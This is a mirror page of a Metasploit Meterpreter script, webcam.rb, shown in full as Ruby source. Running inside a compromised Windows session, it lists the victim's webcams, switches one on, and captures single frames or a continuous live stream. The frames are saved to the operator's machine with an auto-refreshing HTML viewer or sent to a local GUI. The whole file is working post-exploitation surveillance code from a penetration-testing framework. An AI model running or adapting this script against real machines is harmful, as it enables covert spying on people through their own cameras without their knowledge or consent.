Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

webcam.rb 4.3KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: scriptjunkie
  7. #
  8. # Simplify running webcam, whether grabbing a single frame or running
  9. # a continous loop.
  10. @client = client
  11. opts = Rex::Parser::Arguments.new(
  12. "-h" => [ false, "Help menu" ],
  13. "-f" => [ false, "Just grab single frame"],
  14. "-l" => [ false, "Keep capturing in a loop (default)" ],
  15. "-d" => [ true, "Loop delay interval (in ms, default 1000)" ],
  16. "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
  17. "-q" => [ true, "The JPEG image quality (Default: 50)" ],
  18. "-g" => [ false, "Send to GUI instead of writing to file" ],
  19. "-s" => [ true, "Stop recording" ],
  20. "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
  21. "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
  22. )
  23. iterator = 0
  24. folderpath = "."
  25. single = false
  26. quality = 50
  27. index = 1
  28. interval = 1000
  29. gui = false
  30. saveAll = false
  31. opts.parse(args) { |opt, idx, val|
  32. case opt
  33. when "-h"
  34. print_line "webcam -- view webcam over session"
  35. print_line(opts.usage)
  36. raise Rex::Script::Completed
  37. when "-f"
  38. single = true
  39. when "-l"
  40. single = false
  41. when "-d"
  42. interval = val.to_i
  43. when "-i"
  44. index = val.to_i
  45. when "-q"
  46. quality = val.to_i
  47. when "-g"
  48. gui = true
  49. when "-p"
  50. folderpath = val
  51. when "-s"
  52. print_line("[*] Stopping webcam")
  53. client.webcam.webcam_stop
  54. raise Rex::Script::Completed
  55. when "-a"
  56. saveAll = true
  57. end
  58. }
  59. if client.platform != 'windows'
  60. print_error("This version of Meterpreter is not supported with this Script!")
  61. raise Rex::Script::Completed
  62. end
  63. begin
  64. camlist = client.webcam.webcam_list
  65. if camlist.length == 0
  66. print_error("Error: no webcams found!")
  67. raise Rex::Script::Completed
  68. elsif camlist.length < index
  69. print_error("Error: only #{camlist.length} webcams found!")
  70. raise Rex::Script::Completed
  71. end
  72. print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")
  73. client.webcam.webcam_start(index)
  74. #prepare output
  75. if(gui)
  76. sock = Rex::Socket::Udp.create(
  77. 'PeerHost' => "127.0.0.1",
  78. 'PeerPort' => 16235
  79. )
  80. end
  81. imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
  82. print_line( "[*] imagepath is #{imagepath}" )
  83. htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
  84. begin
  85. if single == true
  86. data = client.webcam.webcam_get_frame(quality)
  87. if(gui)
  88. sock.write(data)
  89. else
  90. ::File.open( imagepath, 'wb' ) do |fd|
  91. fd.write( data )
  92. end
  93. path = ::File.expand_path( imagepath )
  94. print_line( "[*] Image saved to : #{path}" )
  95. Rex::Compat.open_file( path )
  96. end
  97. else
  98. if(!gui)
  99. ::File.open(htmlpath, 'wb' ) do |fd|
  100. htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
  101. fd.write(htmlOut)
  102. end
  103. print_line( "[*] View live stream at: #{htmlpath}" )
  104. Rex::Compat.open_file(htmlpath)
  105. print_line( "[*] Image saved to : #{imagepath}" )
  106. end
  107. while true do
  108. data = client.webcam.webcam_get_frame(quality)
  109. if(gui)
  110. sock.write(data)
  111. else
  112. ::File.open( imagepath, 'wb' ) do |fd|
  113. fd.write( data )
  114. ::File.open(htmlpath, 'wb' ) do |fd|
  115. htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
  116. fd.write(htmlOut)
  117. if(saveAll)
  118. iterator = iterator + 1
  119. imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
  120. end
  121. end
  122. end
  123. end
  124. select(nil, nil, nil, interval/1000.0)
  125. end
  126. end
  127. rescue ::Interrupt
  128. rescue ::Exception => e
  129. print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")
  130. end
  131. print_line("[*] Stopping webcam")
  132. client.webcam.webcam_stop
  133. sock.close if sock != nil
  134. rescue ::Exception => e
  135. print_error("Error: #{e.class} #{e} #{e.backtrace}")
  136. end